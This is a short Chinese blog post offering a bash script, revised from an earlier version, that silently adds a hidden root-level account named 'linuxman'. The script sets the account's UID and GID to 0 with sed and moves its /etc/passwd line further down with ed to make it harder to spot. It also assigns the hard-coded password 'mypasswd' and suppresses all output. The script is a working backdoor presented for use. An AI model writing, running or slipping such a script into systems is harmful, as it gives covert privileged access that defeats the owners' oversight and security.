注:第一版在使用中无法更改密码。故改之。(中间停止了这么几年忘的差不多了。拿出来用发现有问题。故改之)
#!/bin/bash
#program:
# This program is used to add superuser!
#Author:
# linuxman
#history:
# 2011/07/8 linuxman First release
# 2011/07/15 linuxman modify
# 2015/08/03 linuxman modify
grep linuxman /etc/passwd > /dev/null 2>&1
if [ $? == 1 ];then
useradd linuxman > /dev/null 2>&1
i=`grep -n linuxman /etc/passwd | awk -F : '{ print $1 }'`
echo -e "${i}m15\nw\nq">mm #创建文本给下面的ed编辑器使用。取新建用户的行号,把取到的行移到15行之后保存。
sed -i '/linuxman/s/5../0/g' /etc/passwd
userdel -r linuxman >/dev/null 2>&1
ln -s /etc/passwd passwd > /dev/null 2>&1
ed - passwd < mm
fi
pwconv && echo "mypasswd" | passwd --stdin linuxman > /dev/null 2>&1
阅读(1270) | 评论(0) | 转发(0) |